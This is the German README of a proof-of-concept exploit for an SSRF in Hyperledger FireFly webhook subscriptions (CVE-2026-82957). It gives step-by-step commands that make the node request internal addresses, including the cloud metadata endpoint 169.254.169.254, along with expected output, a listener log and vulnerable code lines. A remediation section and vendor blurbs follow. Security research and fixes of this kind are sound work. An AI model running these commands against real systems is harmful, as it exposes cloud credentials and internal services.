
Proof-of-Concept-Exploit für CVE-2026-82957, eine SSRF in Hyperledger FireFly-Webhook-Abonnements, die den Node dazu zwingt, interne oder Cloud-Metadaten-URLs anzufordern.
Ein Proof-of-Concept-Exploit für CVE-2026-82957, eine Server-Side Request Forgery (CWE-918) im webhooks-Event-Transport von Hyperledger FireFly Core. Jeder Client, der ein Event-Abonnement erstellen kann, kann einen Webhook registrieren, dessen Ziel-URL niemals validiert wird — wenn ein passendes Event eintritt, stellt der FireFly-Knoten selbst die HTTP-Anfrage. Richtet man ihn auf ausschließlich interne Adressen (Cloud-Metadaten, Loopback, RFC1918-Dienste), wird der Knoten zu einem Confused Deputy.
Nur die Python-3-Standardbibliothek — keine Abhängigkeiten.
$ python3 cve_2026_82957.py --help
Schritt 1 — starten Sie einen Listener auf dem Rechner, den der FireFly-Knoten erreichen soll (das SSRF-Opfer):
$ python3 -m http.server 8000 --bind 0.0.0.0
Schritt 2 — führe den Exploit aus. -t ist die FireFly-API-Basis-URL, -u ist die URL, die der Node gezwungen wird anzufordern:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
Für einen FireFly-Node, der in Docker läuft, ist <host-ip> das Bridge-Netzwerk-Gateway — finde es mit docker network inspect <network> (Feld IPAM.Config.Gateway, z. B. 172.21.0.1).
Erwartete Ausgabe:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
Listener-Log — die Quell-IP ist die Container-IP des FireFly-Knotens, nicht der Rechner des Angreifers, was beweist, dass die Anfrage vom Server gefälscht wurde. SSRF bestätigt:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 („Base implementation of webhooks invocation", 2021-06-20)e3c9b8d89 (main) — kein Commit zwischen den beiden fügt eine Host-Validierung hinzuDatei: internal/events/webhooks/webhooks.go
| Zeile | Code | Problem |
|---|---|---|
| 191 | url: options.GetString("url") | Ziel wird wörtlich aus der Benutzereingabe übernommen |
| 266 | ValidateOptions(...) | validiert Format/Header/Timeouts, aber niemals den Host |
| 394 | req.r.Execute(req.method, req.url) | die Anfrage wird abgeschickt |
Es gibt keine Allowlist/Denylist für das aufgelöste Ziel: keine Sperre für Loopback-, private (RFC1918) oder Link-Local-Adressen (169.254.0.0/16), und sowohl Host als auch Schema sind vollständig vom Angreifer kontrollierbar. FireFly liefert standardmäßig kein API-Auth-Plugin mit, sodass das Erstellen von Subscriptions unauthentifiziert erfolgen kann.
POST /api/v1/namespaces/{ns}/subscriptions — erstellt den bösartigen Webhook (gibt 201 Created für interne URLs zurück)POST /api/v1/namespaces/{ns}/messages/broadcast) — löst die gefälschte Anfrage ausCWE-918 Server-Side Request Forgery. Ein Angreifer kann:
169.254.169.254) auslesen → Eskalation in das Cloud-Konto"reply": true wird die interne Antwort als FireFly-Ereignis an den Angreifer zurückgegeben — nicht blind~8.5 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — die Schwere hängt davon ab, ob die API hinter einer Authentifizierung liegt.
In ValidateOptions die URL parsen, den Host auflösen und Loopback-/private/Link-Local-/unspezifizierte Adressen ablehnen; das Schema auf http/https beschränken; die aufgelöste IP zum Verbindungszeitpunkt erneut prüfen (benutzerdefinierter DialContext), um DNS-Rebinding zu verhindern; vorzugsweise eine konfigurierbare Allowlist zulässiger Webhook-Hosts bereitstellen.
Dieses Tool dient ausschließlich Bildungs- und Forschungszwecken. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Der Autor ist nicht verantwortlich für jeglichen Missbrauch oder Schaden, der durch dieses Programm verursacht wird.
QuimeraX Intelligence ist eine fortschrittliche EASM- und Cyber-Threat-Intelligence-Plattform, die sich auf die Identifizierung kritischer Schwachstellen in komplexen Systemen spezialisiert hat. Die Plattform überwacht, erkennt und meldet proaktiv Sicherheitsbedrohungen für Kunden und sorgt so für Transparenz und eine schnelle Reaktion auf potenzielle Risiken. Kunden erhalten sofortige Benachrichtigungen und umfassende Berichte, wenn ihre Systeme als anfällig eingestuft werden, sodass sie Schutzmaßnahmen ergreifen können. mehr erfahren
Hakai Security ist ein von Sicherheitsexperten gegründetes Cybersicherheitsunternehmen, das sich der technischen Exzellenz verpflichtet fühlt. Wir bieten maßgeschneiderte Sicherheitslösungen, darunter fortschrittliche Penetrationstests, realistische Red-Team-Simulationen und sichere Entwicklungspraktiken, um die Vermögenswerte unserer Kunden proaktiv vor sich wandelnden Cyberbedrohungen zu schützen.
Hacking Club ist die Trainingsplattform, auf der Sie Cybersicherheit durch praxisnahe Lektionen, Labs und Challenges lernen, die von Experten aus unserem Sicherheitsberatungsunternehmen erstellt wurden: direkt vom Schlachtfeld in Ihre Ausbildung.